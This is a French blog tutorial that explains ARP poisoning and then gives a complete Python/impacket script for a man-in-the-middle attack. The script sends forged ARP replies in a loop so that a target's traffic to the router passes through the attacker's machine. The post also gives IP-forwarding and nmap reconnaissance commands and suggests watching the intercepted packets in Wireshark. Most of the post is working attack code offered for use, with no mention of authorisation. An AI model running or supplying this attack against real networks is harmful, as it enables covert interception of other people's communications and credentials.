On va voir aujourd’hui comment grâce au module imPacket réalisé un man in the middle en utilisant la méthode de l’arp poisoning.
Qu’est-ce quele man in the middle ?
C’est une attaque qui a pour but d’intercepter tous les paquets transitants entre A et B .
Et l’arp poisoning ?
C’est une technique utilisant le protocole ARP qui va faire en sorte que A envoit ses paquets à C au lieu de B.
Du coup, si on utilise aussi l’arp poisoning sur B, C peut écouter tous les paquets qui transitent entre A et B : c’est le man in the middle.
Il existe plusieurs méthodes, on va utiliser celle qui consiste à envoyer des réponses ARP aux cibles (A et B), et vu que le protocole ARP ne vérifie pas si une requête ARP a été faite au préalable, on va pouvoir modifier la cache ARP des cibles sans difficulté.
C’est parti.
La topologie de mon réseau éthernet dans lequel j’ai réalisé le script (simple&court) est on ne peut plus basique :
2 ordinateurs(A et C) directement reliés au routeur(B).
Je suis C et, je veux écouter tout ce qui se passe chez A.
Tout d’abord, il faut activer le routage :
su -c « echo 1 > /proc/sys/net/ipv4/ip_forward »Maintenant, il faut connaitre les IP de A,B,C ainsi que leurs MAC.
un petit coup de nmap -v -Sp 192.168.1.0/24 | grep « up » et de arp -v résoudra tout (ajustez le sous réseau).
Et voici le script :
#-*- coding:Utf-8 -*-
from impacket import ImpactPacket
import socket
import time
INTERFACE = ‘eth0′
MON_IP = (192, 168, 0, 101)
MA_MAC = (0×00, 0×13, 0×02, 0×12, 0x8c, 0xaa)
ROUTEUR_IP = (192,168,0,1)
ROUTEUR_MAC = (0×00,0×13,0×02,0xcd,0×03,0xd2)
CIBLE_IP = (192,168,0,102)
CIBLE_MAC = (0×00,0×13,0×02,0x1d,0×10,0xd3)
class MonARP(ImpactPacket.ARP):
« »"notre classe pour créer notre paquet ARP »" »
def __init__(self):
ImpactPacket.ARP.__init__(self)
#et on remplit l’entête arp :
self.set_ar_hrd(0×01)#le type du reseau dans lequel on se trouve=>ethernet
self.set_ar_pro(0×800)#le protocole de couche 3 qui utilise notre ARP : soit IP donc 0×800
self.set_ar_hln(0×06)# la longueur de l’adresse physique, soit 6 octets (c’est la longueur de l’adresse MAC)
self.set_ar_pln(0×04)#longueur de l’adresse reseau , vu qu’on est en IPV4 : 4 octets
self.set_ar_op(0×02) #le type d’opération de notre arp : requête (0×01) ou réponse(0×02) donc réponse
def routeur(self):
« »"si on envoit notre réponse au routeur,
on doit mettre :
– en mac source, notre mac
– en ip source, l’ip de la cible
« »"
self.set_ar_sha(MA_MAC)#adresse physique source
self.set_ar_spa(CIBLE_IP)#adresse réseau source
self.set_ar_tha(ROUTEUR_MAC)#adresse physique de destination
self.set_ar_tpa(ROUTEUR_IP)#adresse réseau de destination
def cible(self):
« »"si on envoit notre réponse à la cible,
on doit mettre :
– en mac source, notre mac
– en ip source, l’ip du routeur
« »"
self.set_ar_sha(MA_MAC)#adresse physique source
self.set_ar_spa(ROUTEUR_IP)#adresse réseau source
self.set_ar_tha(CIBLE_MAC)#adresse physique de destination
self.set_ar_tpa(CIBLE_IP)#adresse réseau de destination
if __name__ == ‘__main__’:
arp = MonARP()#on crée notre paquet ARP
eth = ImpactPacket.Ethernet()#notre trame ethernet
s = socket.socket(socket.PF_PACKET,socket.SOCK_RAW)
#le premier paramètre est la famille du protocole qu’on utilise, vu qu’on utilise un protocole bas niveau (d’après le modèle OSI) on utilise donc PF_PACKET
#le deuxième paramètre est le type de notre socket , il en existe des tas :
#SOCK_RAW : pour faire transiter des paquets utilisant un protocole plus bas niveau , le protocole ARP étant de niveau 2/3, c’est ce qu’il nous faut .
###un man socket vous aidera mieux à comprendre
s.bind((INTERFACE, 0×806))#pour lier notre socket à une interface(bah oui, sinon on pourra pas l’envoyer)
#le 1° paramètre notre interface réseau
#le 2° paramètre est le protocole qu’on utilise (ARP=0×806)
#s.settimeout(2)#le timeout en seconde, mais on s’en fout vu qu’on envoit une réponse et donc on n’en recevra pas.
while 1 :
print(« c’est parti »)
arp.routeur()
eth.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet
eth.set_ether_shost(arp.get_ar_sha())#l’adresse mac source de la trame est la même que l’entête arp
eth.set_ether_dhost(arp.get_ar_tha())#l’adresse mac de destination de la trame est la même que l’entête arp
s.send(eth.get_packet())#on envoie le paquet !
arp.cible()
eth.contains(arp)#ensuite, on doit encapsuler notre paquet dans notre trame ethernet
eth.set_ether_shost(arp.get_ar_sha())#l’adresse mac source de la trame est la même que l’entête arp
eth.set_ether_dhost(arp.get_ar_tha())#l’adresse mac de destination de la trame est la même que l’entête arp
s.send(eth.get_packet())#on envoie le paquet !
time.sleep(10)#en secondes
N’oubliez pas de changer les valeurs des variables des lignes 7 à 15.
Je n’explique pas le script, tout est commenté et devrait suffire ?
Un petit coup de wireshark et vous verrez les paquets de/vers A.
PS : pour toute question envoyez-moi un mail (cf la page « À propos »), j’ai désactivé les commentaires à cause du trop gros nombre de spams.